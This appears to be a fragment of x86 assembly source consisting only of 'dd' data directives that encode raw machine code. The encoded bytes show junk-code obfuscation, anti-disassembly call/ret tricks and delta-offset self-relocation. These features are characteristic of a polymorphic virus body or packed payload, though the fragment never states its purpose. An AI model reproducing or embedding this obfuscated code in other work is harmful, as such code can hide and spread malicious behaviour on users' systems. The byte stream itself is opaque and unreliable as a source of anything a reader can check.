		dd 0E9D83A61h, 0B18FBA18h, 7DE38E0Eh, 9D297C96h, 57A60F25h
		dd 0F1D5C37h, 0A06232A6h, 0D01BBA25h, 821B6BCBh, 41411423h
		dd 0A64F9379h, 0A65F8C27h, 821B9327h, 41490123h, 52E4C5EEh
		dd 6A48D049h, 821B6820h, 0D9D86F03h, 863F46AAh,	863F49A2h
		dd 821B8639h, 70D81060h, 0A32CA3DCh, 37905AD8h,	84045826h
		dd 0B0768122h, 7921C3Ch, 840411CEh, 8BFA13A8h, 7DD453Ch
		dd 84048106h, 0D41BBA60h, 821B6BCBh, 41451423h,	0A66F937Dh
		dd 0A65F8C27h, 821B9C27h, 414D0523h, 2B811B33h,	0E483BCCEh
		dd 867C8EA2h, 8C6681A8h, 0CB731C3Ch, 6AABEC1Eh,	821B8626h
		dd 4BAF0B25h, 97DC158h,	820B39DAh, 8FE66823h, 379B1401h
		dd 320F155Bh, 40940A9h,	0DD7A13BBh, 0E33F77A2h,	0E417D06Eh
		dd 2E0631A2h, 0D72DB7A2h, 37E43DE7h, 84042852h,	6A4C0D49h
		dd 821B8620h, 0DDD81C03h, 863FDDAAh, 863F94A2h,	821B6839h
		dd 0B2D86364h, 0E0219ADh, 8BF32138h, 0B01B8623h, 53AF13F8h
		dd 2DBED694h, 0AEEA45A8h, 0F426E3Ch, 0A062A7A6h, 0D11B7025h
		dd 821B0ECBh, 4140A623h, 0A647CA78h, 0A65F2027h, 821BCA27h
		dd 41482B23h, 0B427C127h, 6A2A0FD2h, 821B0D2Bh,	0B83769A5h
		dd 163EBF23h, 8F662422h, 7A44D63Ch, 37BB8DCh, 0E42D0FF5h
		dd 7927B7Fh, 8404262Eh,	96F349A8h, 3D1B4323h, 60907432h
		dd 4CF5B817h, 120BA00Ah, 5DC5B158h, 0DDA0CD09h,	307E88AEh
		dd 3F2A8001h, 840451FAh, 0D2E92AB3h, 3C1D6F45h,	17E491B3h
		dd 84041992h, 8271C2A8h, 8218E573h, 0DA3B8623h,	0C6921BE0h
		dd 0C69AA507h, 8203D407h, 0D25B6823h, 0D9020CE0h, 7967CA3h
		dd 8439BF7Ah, 6A498649h, 821B4320h, 0D8D8FB03h,	863F84AAh
		dd 863F2CA2h, 821B343Ah, 0D8D84861h, 0CD30A3Bh,	438E0FA8h
		dd 121D5C08h, 820A4973h, 57DD023h, 498A53C7h, 2785C414h
		dd 9447DBF3h, 0E2296F05h, 0DC7A59A8h, 0D11B29B3h, 821BA2CBh
		dd 4140F023h, 0A647E178h, 0A65FB527h, 821B0E27h, 41484E23h
		dd 0A7AE0D4Ah, 91D5C2Bh, 49AEF1DAh, 6B3FCCAAh, 821B682Fh
		dd 2762E090h, 0A67230D2h, 9247F600h, 0B7C50745h, 938EBC38h
		dd 0E81DBE29h, 81F38223h, 0A21B6823h, 0B41F779h, 31F3E77h
		dd 9A1F2967h, 0C01B8623h, 0A0218071h, 6AE89474h, 821BD037h
		dd 138A29FDh, 1E5B7662h, 9D68EDADh, 0A718F780h,	2EE67E52h
		dd 94C2D6AAh, 7A41A73Ch, 0B36E55AAh, 5C9A6E3Ch,	0EC769B06h
		dd 0A57A9712h, 7DC0B3Ch, 840483C2h, 821B432Ch, 6A4EA149h
		dd 821BD020h, 0DFD83503h, 863F58AAh, 863F5EA2h,	821B0D38h
		dd 0B8D8D366h, 5F6E6D54h, 0E21C0239h, 9CC6F2Ch,	9D1651BEh
		dd 8CF25525h, 0F21B1A23h, 0A6ED4EADh, 58D73755h, 0E0C59D41h
		dd 0F78E5ED9h, 21DCF12h, 792EFF1h, 84041A1Ah, 6A4B1A49h
		dd 821B0D20h, 0DAD8DE03h, 863F07AAh, 863FE5A2h,	821BD035h
		dd 0E1D83863h, 3790A09Bh, 8404139Ah, 8219882Ch,	78908623h
		dd 9992C6A8h, 1F96A73Ch, 843916E5h, 0F1A2BAAh, 9D05159Eh
		dd 22AE9725h, 3B1D2FE5h, 821B8610h, 0B1F0E7D0h,	821BA19Bh
		dd 0F6DBDB23h, 8203AA20h, 8E3F70A8h, 821BF270h,	3400D23h
		dd 821B91E0h, 0A647CA23h, 0A65F2833h, 0B5A38B37h, 7D1BF683h
		dd 0A65FBFC3h, 0E8FBE527h, 81F35C23h, 0A21B8623h, 0B42807Ah
		dd 31F856Fh, 951FF467h,	0C31B6823h, 0E71F772h, 97D6C21h
		dd 3F906CEBh, 84049CA6h, 3042FEAEh, 0F96A701h, 8439173Bh
		dd 0A4B05D9Bh, 0B79E07BBh, 0A91D053Ah, 376A7BECh, 5B821BD0h
		dd 0AC390071h, 8AA34E5Ah, 0EB387540h, 6ADB5446h, 2CADB0C3h
		dd 0F305E983h, 8BD98BA4h, 1F1EA9B5h, 1890F06h, 0FC000000h
		dd 0B8E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1504h, 0C3504000h, 0E86068ECh, 0Ch, 2CF14F73h, 27793654h
		dd 9C52DBE4h, 42F18166h, 80605ABFh, 0DE8AEEDh, 0B000000h
		dd 3CAB9466h, 0A378596Ch, 20908F9Dh, 61616159h,	11E9h
		dd 0FD6DC300h, 0A89FDB4Fh, 0F112060Ah, 0CCC0F0B9h, 0F602EBBh
		dd 58Ah, 647DB900h, 0C36110D5h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0C8C35747h,	616303B8h, 0CE86010h
		dd 11000000h, 5E3F64EDh, 39C177C3h, 602B6777h, 60615961h
		dd 4AB86650h, 0C1815BD7h, 48AC9247h, 6AC08B61h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E94BC357h, 0Eh, 5048C203h, 71CB0BFBh, 8A95C9A6h, 0BD8360B0h
		dd 61F06C1h, 83097500h,	1F1F51BDh, 19740006h, 0C08B5350h
		dd 4B9B8h, 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h
		dd 51BD8358h, 61F1Fh, 53501774h, 4B9B8h, 95858900h, 8D061F13h
		dd 21ACAC9Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0BC8C8CFCh, 803AAC2Eh
		dd 5E9h, 0CD974B00h, 6A368Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0C279ABC3h, 0D0307C16h
		dd 850FF522h, 8, 0F7D18060h, 61D08B66h,	9E9C08Bh, 76000000h
		dd 26B26B71h, 4C47CD46h, 6AC18B40h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0D6A8C350h
		dd 4EBF18Bh, 0
		dd 269B589h, 0F88B061Fh, 19BD858Dh, 5090061Fh, 50CB8A60h
		dd 60310F52h, 61585A61h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 5B1C1C4Fh, 880F6025h
		dd 5, 0ABCA8166h, 0C99D8BE2h, 61061F0Ch, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0E53097C3h, 8B66CA9Ah, 0F18B66FAh, 858D006Ah, 622CA52h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0AEC35141h
		dd 5C03A336h, 91E9B98h,	1F02CDB5h, 9830F06h, 0F000000h
		dd 384h, 0F0BF0F00h, 905C083h, 1F00C1B5h, 7FBE9006h, 50616A70h
		dd 50565250h, 5A310F52h, 310F5F58h, 6A00FCBFh, 90585A35h
		dd 7B99D89h, 6A061Fh, 2D998589h, 6A061Fh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 14C35242h, 2FCDB58Bh
		dd 95FF061Fh, 61F0161h,	0B1F29D8Dh, 0DE90622h, 0F3000000h
		dd 8B2A0B0Ch, 778480C9h, 0C17F1EC8h, 9529D3FFh,	61F1681h
		dd 102985FFh, 0BE66061Fh, 52E91D5Ah, 0E8000006h, 0
		dd 5CED815Dh, 6A0622CAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 2B33C350h, 94DE389Fh
		dd 0DE9C3h, 0A4E90000h,	63188692h, 0DC4C2564h, 1F8A8FDh
		dd 1F1D05B5h, 0E1BD8106h, 0D0061F05h, 0F000007h, 0C286h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 60AAC9A5h, 2C299D8Bh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0D0B85FC3h
		dd 0E38132FAh, 100h, 126D8501h,	0B589061Fh, 61F1019h, 850FDB0Bh
		dd 40h,	1285BD8Bh, 0BD83061Fh, 622C910h, 13840F00h, 66000000h
		dd 0E9EF5DBFh, 36h, 28C0F56h, 53000000h, 85C75E5Fh, 622C910h
		dd 1, 0C98520BEh, 18E978h, 0BD8B0000h, 61F1F29h, 0C91085C7h
		dd 622h, 89510000h, 1F16CDB5h, 9D8D5F06h, 61F2C29h, 3077BE66h
		dd 0FEFF2381h, 66F5FFFFh, 9D89DB8Ch, 61F18D1h, 0F04C3F6h
		dd 8D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B58B9E19h, 61F1ED5h, 317595FFh
		dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 206B6FC3h, 2ACA5673h, 9E8h, 0BB147800h, 2D81FB16h
		dd 860F814Ah, 5, 0B1C68166h, 50905E06h,	13E8h, 2AA9D100h
		dd 3BFA1F1h, 0DAD3D158h, 3C61978Fh, 4ABAE062h, 7E9905Eh
		dd 0D000000h, 3FEB2641h, 9AE9F75Fh, 6A000003h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 429BC357h, 31BE0F22h, 1F0DF5BDh, 0E600B006h,	51006A70h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0AC7ACBBEh, 330E5E6h, 0E081605Bh, 3A52A11Bh,	10E9h
		dd 1D11B700h, 33FBD894h, 3BE15A6Ah, 0D8BCD6FCh,	71E46113h
		dd 2B44E781h, 0B60F63FCh, 758D09D8h, 81061F24h,	0CE326CEFh
		dd 6BA60h, 85090000h, 61F006Dh,	8952C38Bh, 1F2F058Dh, 0E8C15E06h
		dd 0BE804h, 4BA80000h, 1C72A6Fh, 4865637h, 0CF8166F3h
		dd 665FAE30h, 0BE66E2F7h, 0D82BD576h, 0DB59D89h, 5093061Fh
		dd 13E9h, 0E3AFD200h, 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh
		dd 0FFA4F41Ch, 0F08B6693h, 0E1B5FFF8h, 6A061F05h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 59F5C352h, 56B66A17h, 95FFE2B7h, 61F1D45h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D0C35242h, 8BDAD1E1h
		dd 1F07F9BDh, 0E8A0F06h, 60000000h, 13CD9D89h, 9529061Fh
		dd 61F1119h, 6600B061h,	0E68158BEh, 0DF816670h,	71E4F88Dh
		dd 0EBDB58Bh, 613C061Fh, 237830Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 48D731C3h
		dd 5E9D9AFh, 7E000000h,	7AA2061Ah, 6AD8B60Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1D79C355h, 3C9B46CCh, 6654967Ch, 0C4E1C681h,	6BAh, 85BD0300h
		dd 8B061F2Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 210EFC53h, 66D20C6Ch, 0C114F9BEh
		dd 0B70F04E8h, 0E2F766F9h, 0F6816650h, 2B5FCFE9h, 52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0DE640684h, 409ABBE8h, 58F0BF0Fh, 6BEF8166h,	0FD82B1Eh
		dd 16888h, 7DB58B00h, 0B9061F26h, 7, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 8BC35545h, 0C183A889h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0DB5D7F4Ah, 0BF66C9F5h, 0D93B5B69h, 10F860Fh, 81660000h
		dd 661295EEh, 0C1F6D98Ch, 0F0840F04h, 0E8000000h, 14h
		dd 0B0121F9Ch, 1B0AA7D8h, 0A195F6B2h, 0FECFBC3Bh, 16C14A6Dh
		dd 14E9h, 1C3DB500h, 0E23225AAh, 867EA415h, 5FAE007Ch
		dd 0A6CE15ACh, 95FF5FD8h, 61F3175h, 6890Fh, 0B58B0000h
		dd 61F1561h, 50006A5Bh,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0FA1D8745h, 0DD0DA6FDh, 6AC32Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 7086BAC3h, 6F832585h, 16850Fh, 11E90000h, 32000000h
		dd 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 0F5DD1EF6h, 8343Dh
		dd 3C860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 141DC352h, 28E9h, 0EE800h
		dd 0FF820000h, 0FAE55012h, 5ED4D2F5h, 608722CAh, 12D9B52Bh
		dd 8B5F061Fh, 68D0FC0h,	33000000h, 1F0601BDh, 8BC38B06h
		dd 5E9D8h, 0A8AB0000h, 0C782C006h, 1F200985h, 8647DF06h
		dd 56006A74h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0C59D2984h, 8B061F0Ah, 819589C0h, 81061F1Ah
		dd 1F05E1BDh, 7D006h, 2A850F00h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7A7CC353h
		dd 0E185FF57h, 89061F05h, 1F1F9195h, 0E1B5FF06h, 6A061F05h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 41C1C353h, 18C82192h, 7D42EC05h, 68E0Fh
		dd 0BD8B0000h, 61F32A1h, 1D4595FFh, 9D29061Fh, 61F085Dh
		dd 5678B890h, 9D311234h, 61F2F21h, 0D06D9D8Dh, 0D4E90622h
		dd 6AFFFFF9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0FA75C355h, 6104DCE5h,	8B6617F3h
		dd 6AC18BF7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 2713C356h, 0FB2FD6Eh, 1987h, 0DE800h
		dd 0CF5C0000h, 49F7B41Eh, 78E6C7Bh, 8B47B4AEh, 1F1FD9BDh
		dd 4EB5E06h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 12C35141h
		dd 60357B60h, 1D9D9523h, 0D181061Fh, 7BFD67FBh,	0BD858D61h
		dd 90061F19h, 7E8h, 0D8721A00h,	0CB4E6179h, 2BC4BE66h
		dd 0EE8505Fh, 4000000h,	277F148Ch, 4AEF949Ah, 191996CBh
		dd 0FE84Ah, 0B7A30000h,	9A06C209h, 993FD52Dh, 0C8C7CB2h
		dd 5EF38BF2h, 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 739193C3h, 0A193DE71h, 6A4EC9h
		dd 88F0Fh, 8B600000h, 1F0A55BDh, 6A6106h, 0DE8h, 0A8E82500h
		dd 1C6C513Dh, 150450CBh, 85899456h, 61F2FDDh, 29B58B5Fh
		dd 8D061F19h, 22D2D585h, 198D8906h, 83061F19h, 6A05C0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0EE6D5AC3h, 0B63847B9h, 0CD958960h, 89061F06h, 1F15B9B5h
		dd 8D896106h, 61F0CE5h,	2820F90h, 57000000h, 0BE66505Eh
		dd 0F90066Bh, 0C84h, 68F0F00h, 89000000h, 1F160595h, 8B0F5106h
		dd 6, 2B99BD8Bh, 6A5E061Fh, 19BD8B00h, 6A061F30h, 8D896000h
		dd 61F2D4Dh, 0D80725BAh, 0BD8B613Fh, 61F1025h, 16195FFh
		dd 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 495DF5C3h, 0CDDBD521h, 8D21D88Ah,	22B1F29Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 4DCE8AB3h, 6057400Eh, 12E8h, 5A0EE700h
		dd 5471490Dh, 8141EEA5h, 4F505C3Bh, 5B637014h, 61BBE680h
		dd 71B5895Eh, 0FF061F0Ch, 8BF88BD3h, 1F1229B5h,	2985FF06h
		dd 29061F10h, 1F0FFDB5h, 0E04E906h, 0E80000h, 5D000000h
		dd 0D2DFED81h, 6A0622h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E97116C3h, 7, 0ECCA480Ch, 812865B9h
		dd 1F05E1BDh, 7D006h, 75860F00h, 66000001h, 9D8BFB8Bh
		dd 61F027Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0C4C35545h, 0EC6A35DCh,	0E381F859h, 100h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E3C35646h, 2AF2CF00h
		dd 5E919ECh, 0EA000000h, 6BE4B718h, 0BE851h, 5F420000h
		dd 50476110h, 929D6CC0h, 0B5F5F65h, 0B3850FDBh,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 52D9C355h, 0A2DA8C02h, 0C68166C6h, 0BD83B84Fh
		dd 622D0ECh, 3B840F00h,	89000000h, 1F120DBDh, 0A0E906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 736592C3h, 3098685h, 0F13E182h, 58Bh, 0E7816600h
		dd 85C7549Ah, 622D0ECh,	1, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 29C35747h, 0F5931228h, 0D58A2871h, 2411B58Bh
		dd 8B66061Fh, 34E9FAh, 9600000h, 1F2FA1B5h, 85C76106h
		dd 622D0ECh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0EBC35040h
		dd 990A3D43h, 9D8DFE8Bh, 61F027Dh, 68B0Fh, 0BD230000h
		dd 61F23D5h, 0FEFF2381h, 0B589FFFFh, 61F1A55h, 6ADB8C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 8256C352h, 0BC1CEF36h, 0E37FF0DEh, 161D8529h
		dd 0BE66061Fh, 0C3F6D255h, 4E840F04h, 8B000000h, 1F1609B5h
		dd 7595FF06h, 90061F31h, 0CE9h,	5D91D500h, 0AF7B820Dh
		dd 0F7E2F432h, 8E0F50B7h, 0
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 418D893Ch, 89061F03h, 1F0E4D95h,	3E6E906h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 4EE81BC3h, 1CF18D89h, 0B0061Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h, 558C7396h
		dd 0E6CEBE57h, 0DE870h,	5AA50000h, 69AF1872h, 0C1599777h
		dd 236E9E8Bh, 1F0019BDh, 71E45E06h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0A9C35545h,	0F7816E89h, 0B9E86FCh
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 230EC355h, 0BAEF83A5h,	6, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 14C35646h, 0B5E88862h
		dd 59B589D0h, 8B061F0Ah, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 840F5197h, 6, 30558D89h
		dd 9531061Fh, 61F07F9h,	6604E8C1h, 0BD8BE2F7h, 61F209Dh
		dd 2A499531h, 0D82B061Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 3DC35646h, 0B3407F97h, 266CB3EFh, 0CE9h
		dd 0FE33CF00h, 365842E9h, 3D0438A5h, 66509315h,	8B93F88Bh
		dd 1F09B9BDh, 0E1B5FF06h, 6A061F05h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6701C353h
		dd 7866BC5h, 6ECF8166h,	4595FFD2h, 66061F1Dh, 0B03586BEh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E6C4DA06h, 55006A70h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8BD52663h
		dd 1F326DB5h, 6A71E406h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0DE6EC351h,	5E3ED472h
		dd 0C9B5038Ch, 3C061F31h, 0D9830F61h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4676C353h, 8B53231Dh, 0B60F5FF8h, 0FE9D8h, 0CBC80000h
		dd 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah, 6BA1Ch, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FB93AC3h, 0C38BFFBFh, 0C1F9BF0Fh, 6A04E8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0C95716C3h, 315E7D54h, 667C7AFBh, 6AE2F7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 64F59CC3h
		dd 1A386BC7h, 89BE4970h, 1F0CC185h, 6AD82B06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0E5CFC355h, 0EF04329Fh, 0B7BFE13Ah, 5837CE7Fh, 97E68166h
		dd 0FD82B37h, 0E788h, 0FEBF0F00h, 7B9h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0ABC7240Dh, 9589F1A1h, 61F2DC1h, 0F00C183h, 684h, 259D8900h
		dd 3B061F1Fh, 0A1860FD9h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8FF8C356h
		dd 801E03C5h, 8C66B1C3h, 0D19D89D9h, 0F6061F0Ch, 840F04C1h
		dd 64h,	349B58Bh, 95FF061Fh, 61F3175h, 45DBE66h, 2DB5895Bh
		dd 2B061F23h, 8343DC3h,	860F0000h, 40h,	0DE9h, 6E74DF00h
		dd 0E5E77AACh, 33FF6967h, 31E988AEh, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 6E22C350h, 0C255A912h, 0B58BF8DAh, 61F1391h,	0BD29C08Bh
		dd 61F0261h, 0D88BC38Bh, 0C7F0BF0Fh, 1F2C2985h,	1F55BF06h
		dd 50006A52h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0E8C08BEFh, 0Ah,	7A3C1953h, 0FD489517h
		dd 9E930FCh, 59000000h,	7AC70D40h, 0E80D1360h, 0E1BD815Fh
		dd 0D0061F05h, 0F000007h, 5385h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0AB25DD0Eh
		dd 5D85294Fh, 0FF061F1Ch, 1F05E185h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9F403BD5h
		dd 0F947B0E7h, 624FBE66h, 5E1B5FFh, 8D31061Fh, 61F0EF9h
		dd 1D4595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0C985FCC3h, 6A4090h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0B3E9E1C3h
		dd 28E8A526h, 0F60E9EBh, 689h, 0CDE18100h, 0E92C6C63h
		dd 7, 9B70DC91h, 61B8A5B6h, 2FCDB58Bh, 0BD83061Fh, 61F12BDh
		dd 0E5840F00h, 0F000000h, 688h,	0E9953100h, 8B061F08h
		dd 1F0899B5h, 0CDBD8306h, 61F09h, 0C6840Fh, 0FE8B0000h
		dd 12BD95FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 9910A7C3h, 0A91CAABDh, 0BD8BF78Bh
		dd 61F2FCDh, 840FC00Bh,	8Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 6FC35646h, 0C148294Eh, 0BE96064h
		dd 53000000h, 93032870h, 1A1B3274h, 61F94771h, 4DB08D8Dh
		dd 8D89061Fh, 61F09C9h,	5B8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 85895622h
		dd 61F2A75h, 6AE1FF5Eh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 9677C351h, 0FC49D92Dh
		dd 0A39BD83h, 0F00061Fh, 5AA84h, 0E5BD3100h, 83061F24h
		dd 1F09CDBDh, 840F0006h, 597h, 3860Fh, 0B70F0000h, 10E9FBh
		dd 0C62C0000h, 301A782Ah, 8DAD982Eh, 7BDAD783h,	8D8D2387h
		dd 61F1409h, 7C8401C7h,	6A44B2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0AD8EB2C3h, 13E933h
		dd 0AB8F0000h, 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh
		dd 0CB01818Ch, 6A1499CFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0FBAC350h, 68Ah, 0F1858900h
		dd 0C7061F1Ch, 6B340441h, 0BE66CE70h, 4181F948h, 0D6D71004h
		dd 51006A31h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 8EA3D368h, 0AAB9AACh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8D2F91C3h
		dd 1F140985h, 505F5606h, 630F7ABEh, 2404897Bh, 0A3995FFh
		dd 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0EAA1C2C3h, 14098D8Dh, 6A061Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 7A625EC3h
		dd 5E9h, 0B0DD3B00h, 1C7565Dh, 0
		dd 0BE9h, 870FE100h, 0BF770107h, 0D64E3299h, 441C7h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 821C351h,	31B697AEh, 1F157995h, 0FC00B06h
		dd 3384h, 4BF6600h, 0B08D8DB4h,	6A061F4Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4D24C352h
		dd 5B860FCh, 0F000000h,	0E1FFFFBFh, 14098D8Dh, 6A061Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0D3AC9DC3h, 81660B87h, 0C7B3A5EFh, 0AA727C01h, 68C0F44h
		dd 81000000h, 5D2B0AC6h, 0CB018168h, 8B1499CFh,	1F2691B5h
		dd 441C706h, 0CE78753Ch, 0DD1FE781h, 41810108h,	0D6D71004h
		dd 0BE831h, 76820000h, 0F2E70117h, 88522FF2h, 6A5F78h
		dd 2F918589h, 858D061Fh, 61F1409h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0C6C35343h,	276D9D89h, 901594D8h
		dd 6E8h, 9D75EE00h, 0E970E121h,	0Ch, 8353277Eh,	0A953B5FDh
		dd 0DB5CF494h, 0F90505Fh, 981h,	38F0F00h, 0F000000h, 0C781F9B7h
		dd 1C7AF88Eh, 0A3995FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0ACA97BC3h, 3FBE563Fh
		dd 6E9EC08h, 9A000000h,	0CC82443Eh, 8DF18BFDh, 1F14098Dh
		dd 0E6816606h, 1C73DD5h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 98C35343h
		dd 810F66DBh, 6, 161DB509h, 41C7061Fh, 4, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 26883064h, 0C73288BCh, 9DBD0BD9h, 0B061F19h,	87840FC0h
		dd 8D000000h, 1F4DB08Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 5006B855h, 9D89DE49h
		dd 61F0D79h, 5B8h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD8B0633h, 61F1D6Dh
